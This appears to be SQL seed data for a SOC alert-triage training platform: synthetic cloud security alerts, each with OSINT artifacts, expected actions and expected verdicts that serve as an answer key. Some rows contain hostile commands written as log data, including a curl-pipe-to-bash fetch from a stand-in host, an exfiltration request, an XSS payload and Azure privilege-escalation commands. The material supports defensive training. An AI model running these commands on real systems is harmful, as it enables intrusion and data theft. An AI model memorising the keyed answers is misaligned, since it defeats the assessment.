(2025, 'GCP Service Account Hijacking', 'critical', 'GCP SCC', 'A GCP service account was accessed from an unusual location, indicating possible hijacking.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:00:00Z\",\"event_type\":\"service_account_access\",\"src_ip\":\"192.0.2.44\",\"dst_ip\":\"10.1.0.10\",\"username\":\"gcp_service_account\",\"hostname\":\"cloud.google.com\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.44\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 525 times for credential theft activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"gcp_service_account\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Service account access from an unexpected region\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The unusual access patterns and the IP\'s history of malicious activity confirm this as a hijacking attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2026, 'Prisma Cloud Kubernetes Command Injection', 'high', 'Prisma Cloud', 'A command injection attempt was detected in a Kubernetes pod, indicating a potential compromise.', 'Lateral Movement', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"10.10.0.20\",\"username\":\"kube_user\",\"hostname\":\"kubernetes_cluster\",\"command_line\":\"curl -s http://malicious-site.com | bash\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP associated with delivery of malicious payloads\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"curl -s http://malicious-site.com | bash\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command matches known injection pattern\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The command injection attempt using a known malicious command confirms a compromise attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2027, 'Wiz Serverless Function Exploitation', 'high', 'Wiz', 'A serverless function was exploited to perform unauthorized actions, indicating a potential attack vector.', 'Data Exfil', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:00Z\",\"event_type\":\"function_invocation\",\"src_ip\":\"198.51.100.99\",\"dst_ip\":\"10.0.1.15\",\"username\":\"lambda_user\",\"hostname\":\"serverless.example.com\",\"request_body\":\"function=exfil_data&target=http://malicious-exfil.com\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP involved in data exfiltration campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"function=exfil_data&target=http://malicious-exfil.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Payload matches known data exfiltration technique\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The unauthorized use of serverless functions and the malicious payload confirm an exfiltration attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2028, 'AWS S3 Bucket Data Leak Attempt Detected', 'critical', 'AWS GuardDuty', 'A suspicious IP attempted to access an S3 bucket with sensitive data. The IP is known for previous data exfiltration attempts.', 'Data Exfiltration', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:32Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.10\",\"username\":\"s3-access-user\",\"hostname\":\"bucket-server-1\",\"request_body\":\"GET /sensitive-data HTTP/1.1\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1123 times for data exfiltration attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"s3-access-user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"User account used for accessing S3 buckets\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"GET /sensitive-data HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Suspicious request pattern matching known exfiltration attempts\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The source IP is known for malicious activity and attempted unauthorized access to sensitive data.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2029, 'Azure IAM Privilege Escalation Detected', 'high', 'Azure Defender', 'An unauthorized user attempted to escalate privileges within Azure IAM to gain access to administrative functions.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:12:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"10.0.0.5\",\"username\":\"unauthorized_user\",\"hostname\":\"azure-ad-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in privilege escalation attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"unauthorized_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"User not authorized for administrative access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP address has a history of unauthorized access attempts, indicating a potential privilege escalation attack.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2030, 'GCP Service Account Hijacking Attempt', 'critical', 'GCP SCC', 'Detected unauthorized attempts to use a service account to access sensitive resources in GCP.', 'Credential Attack', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:20Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.0.2.25\",\"dst_ip\":\"10.1.1.15\",\"username\":\"compromised-service-account\",\"hostname\":\"gcp-resource-server\",\"request_body\":\"\",\"command_line\":\"gcloud auth activate-service-account --key-file=compromised-key.json\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with unauthorized service account usage\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"gcloud auth activate-service-account --key-file=compromised-key.json\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command matches known patterns for service account hijacking\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The command and IP address indicate a hijacking attempt of a service account, confirmed by external threat intelligence.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2031, 'Unauthorized Access to Kubernetes Node Detected', 'high', 'Prisma Cloud', 'Detected unauthorized access attempts to a Kubernetes node from an external IP known for malicious activities.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:55:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.45\",\"dst_ip\":\"10.20.30.40\",\"username\":\"k8s-node-user\",\"hostname\":\"k8s-node-1\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for unauthorized access attempts to cloud environments\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"k8s-node-user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Kubernetes node user account\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The unauthorized access attempts from a known malicious IP suggest an attempt to move laterally within the cloud infrastructure.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2032, 'Unauthorized AWS Lambda Function Invocation', 'medium', 'Wiz', 'An AWS Lambda function was invoked by an unauthorized IP address, potentially indicating malicious access.', 'Lateral Movement', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:20:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.60\",\"dst_ip\":\"10.100.1.20\",\"username\":\"lambda-invoker\",\"hostname\":\"lambda-function-1\",\"request_body\":\"\",\"command_line\":\"aws lambda invoke --function-name dataProcessing\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in unauthorized cloud service invocations\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"aws lambda invoke --function-name dataProcessing\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command pattern matches unauthorized service access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The invocation of a Lambda function from an unauthorized IP suggests an attempt to exploit cloud services.\"}', 'Beginner', 'CLOUD', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2033, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'Multiple unauthorized access attempts to an S3 bucket detected from a foreign IP address, indicating potential data exfiltration.', 'Data Exfiltration', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:23:54Z\",\"event_type\":\"s3_access\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"compromised_user\",\"hostname\":\"aws-instance-34\",\"request_body\":\"GET /sensitive-data/*\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account compromised\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"GET /sensitive-data/*\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Access pattern indicates potential data exfiltration\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The IP and access pattern indicate a strong likelihood of data exfiltration.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2034, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'An attempt to escalate privileges in Azure IAM was detected from an unusual IP address, potentially leading to unauthorized access.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:45:32Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"198.51.100.23\",\"username\":\"admin_user\",\"hostname\":\"azure-vm-12\",\"command_line\":\"az role assignment create --role \'Owner\' --assignee admin_user\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"az role assignment create --role \'Owner\' --assignee admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used for unauthorized privilege escalation\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The command and IP usage are indicative of a privilege escalation attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2035, 'GCP Service Account Hijacking Detected', 'critical', 'GCP SCC', 'A potential hijack of a service account was detected with abnormal access patterns and usage from a known malicious IP.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:17:21Z\",\"event_type\":\"service_account_access\",\"src_ip\":\"203.0.113.77\",\"username\":\"service-account-gcp\",\"hostname\":\"gcp-instance-22\",\"request_body\":\"GET /project-secrets\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account-gcp\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Service account usage pattern abnormal\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"GET /project-secrets\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Request for sensitive data indicates hijack attempt\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP and access request indicate a strong likelihood of service account hijacking.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2036, 'Unauthorized Kubernetes API Access Attempt', 'high', 'Prisma Cloud', 'A foreign IP attempted unauthorized access to the Kubernetes API, indicating a potential threat to cluster security.', 'Web Attack', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:35:10Z\",\"event_type\":\"api_access\",\"src_ip\":\"192.0.2.55\",\"dst_ip\":\"10.0.0.5\",\"username\":\"kube-admin\",\"request_body\":\"POST /api/v1/namespaces/default/pods\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous unauthorized API access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"POST /api/v1/namespaces/default/pods\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Unauthorized attempt to access Kubernetes API\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The access attempt from an external IP suggests unauthorized API usage.\"}', 'Beginner', 'CLOUD', 3, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2037, 'Serverless Function Abuse Detected', 'medium', 'Wiz', 'Anomalous activity detected in serverless function execution, possibly indicating an attempt to exploit cloud function vulnerabilities.', 'Lateral Movement', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:12:45Z\",\"event_type\":\"function_execution\",\"src_ip\":\"203.0.113.88\",\"username\":\"function-user\",\"hostname\":\"cloud-function-1\",\"command_line\":\"run_function --task=exploit_attempt\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous cloud function exploitation attempts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"run_function --task=exploit_attempt\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicates potential function exploitation\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The command and IP indicate a possible exploitation attempt of cloud functions.\"}', 'Beginner', 'CLOUD', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2038, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'Sensitive data was accessed from an AWS S3 bucket by an unauthorized foreign IP address. This indicates a potential data exfiltration attack.', 'Data Exfil', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:25:43Z\",\"event_type\":\"data_access\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"unknown\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data/file.txt HTTP/1.1\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1500 times for data exfiltration activities\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"GET /sensitive-data/file.txt HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Suspicious data access request identified\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Unauthorized access to sensitive data indicates a confirmed data exfiltration attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2039, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'An unauthorized user attempted to escalate privileges within Azure IAM. This could lead to unauthorized access to critical resources.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:30Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.5\",\"username\":\"malicious_user\",\"hostname\":\"azure-iam\",\"command_line\":\"az role assignment create --assignee malicious_user --role Contributor\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP flagged for multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"az role assignment create --assignee malicious_user --role Contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used in privilege escalation attempts\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of unauthorized command indicates an active privilege escalation attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2040, 'GCP Service Account Hijacking Detected', 'high', 'GCP SCC', 'A service account was accessed from an unusual IP, indicating possible hijacking. This could result in unauthorized operations within the GCP environment.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:45:12Z\",\"event_type\":\"account_access\",\"src_ip\":\"192.0.2.55\",\"dst_ip\":\"10.0.1.5\",\"username\":\"service-account@example-project.iam.gserviceaccount.com\",\"hostname\":\"gcp-auth\",\"request_body\":\"GET /compute/v1/projects/example-project/zones/us-central1-a/instances\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in unauthorized GCP service account access\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account@example-project.iam.gserviceaccount.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Service account potentially compromised\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Unusual access patterns and IP indicate a possible service account hijacking.\"}', 'Beginner', 'CLOUD', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2041, 'Prisma Cloud Kubernetes Cluster Compromise', 'critical', 'Prisma Cloud', 'Unauthorized access to Kubernetes API server detected. Potential compromise of cluster nodes and services.', 'Lateral Movement', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:37:56Z\",\"event_type\":\"api_call\",\"src_ip\":\"203.0.113.88\",\"dst_ip\":\"192.168.2.100\",\"username\":\"kube-admin\",\"hostname\":\"kube-api-server\",\"request_body\":\"kubectl exec -it pod-name -- /bin/bash\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in unauthorized Kubernetes access\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"kubectl exec -it pod-name -- /bin/bash\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution detected in Kubernetes environment\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The unauthorized command execution suggests a compromise in the Kubernetes cluster.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2042, 'Wiz Serverless Function Exploitation Attempt', 'high', 'Wiz', 'Exploit attempt against serverless function detected. Malicious payload used to gain unauthorized access.', 'Web Attack', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:55:21Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.99\",\"dst_ip\":\"192.168.3.15\",\"username\":\"function-user\",\"hostname\":\"api.serverless.com\",\"request_body\":\"<script>alert(\'Exploit\')</script>\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP flagged for web-based exploits\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"<script>alert(\'Exploit\')</script>\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"XSS payload detected in serverless function request\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The presence of a malicious script in the request indicates an attempted web-based exploitation.\"}', 'Beginner', 'CLOUD', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2043, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'A potential data leak has been detected from an AWS S3 bucket. An external IP has accessed sensitive files.', 'Data Exfil', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:30:00Z\",\"event_type\":\"s3_access\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.100\",\"username\":\"john_doe\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data/file.txt\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for data exfiltration activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Employee account used in unauthorized access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP accessing sensitive files is a clear indicator of a data leak.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2044, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'An unauthorized privilege escalation attempt was detected in Azure IAM. Anomalous activity from a known account.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:45:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.5\",\"username\":\"admin_user\",\"hostname\":\"azure.portal.com\",\"command_line\":\"az role assignment create --assignee admin_user --role Owner\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with privilege escalation attacks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"az role assignment create --assignee admin_user --role Owner\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used for unauthorized privilege escalation\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The command line used is a clear indicator of an attempt to escalate privileges.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2045, 'GCP Service Account Hijacking Detected', 'critical', 'GCP SCC', 'Suspicious activity detected from a GCP service account, indicating potential hijacking.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:20:00Z\",\"event_type\":\"api_call\",\"src_ip\":\"192.0.2.50\",\"dst_ip\":\"10.1.2.3\",\"username\":\"gcp-service-account\",\"hostname\":\"cloud.google.com\",\"request_body\":\"POST /v1/projects/my-project/serviceAccounts:signBlob\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to service account hijacking incidents\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"gcp-service-account\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Service account involved in unauthorized API calls\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The repeated 